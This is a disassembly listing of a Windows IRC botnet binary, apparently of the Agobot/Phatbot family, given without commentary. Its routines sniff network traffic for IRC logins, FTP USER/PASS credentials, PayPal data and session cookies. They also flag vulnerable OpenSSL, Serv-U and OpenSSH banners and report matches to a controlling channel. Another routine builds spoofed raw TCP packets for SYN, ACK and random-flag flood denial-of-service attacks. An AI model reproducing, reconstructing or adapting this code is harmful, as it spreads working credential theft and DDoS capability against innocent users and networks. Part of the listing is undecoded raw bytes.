		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 3C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h
		dd 56022BDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CAF5015h, 0FFF88300h, 15FF6475h, 4CAF38h, 4C858D50h
		dd 68FFFFFDh, 4357D0h, 9720E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0B03C15FFh, 75FF004Ch,	9268E8D0h
		dd 5659FFFFh, 2BDE4FE8h, 0BB539002h, 434EE8h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h,	858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAFBCh, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 0C468FFFEh
		dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 57B468FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0AED415FFh, 0B70F004Ch, 75FF50C0h, 3015FFF4h, 50004CB0h
		dd 8B7F048Dh, 4EFCC504h, 34FF0043h, 434ED885h, 4C858D00h
		dd 68FFFFFDh, 435780h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 3815FFFFh, 50004CAFh
		dd 43575468h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB03C15h
		dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2BDCAFE8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CDD10, eax
		mov	eax, offset dword_4CDD10
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A

loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2

loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491

loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7

loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507

loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E

loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E

loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4

loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615

loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B

loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CAFB8
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CB028
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CB024
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CAFD0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435B00
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB03C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop

loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CAF50
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AD0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB03C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h

loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h

loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CAFBC
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905

loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h

loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h

loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1

loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A9C
		jmp	loc_4129E7
; ---------------------------------------------------------------------------

loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A68
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A34
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4359FC

loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------

loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4359C4
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 226E4B4h
		dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 5B2C68FFh, 0E8500043h, 8DCAh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------

loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB048
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CAF84
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CAFA4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CAFA4
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CAFA4
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CAFA4
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CAFA0
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CAFA4
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2760B0Fh
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2760805h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAFA4
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAFA4
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAFA0
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAFA4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 2760805h
		nop
		mov	eax, [ebp+var_18]
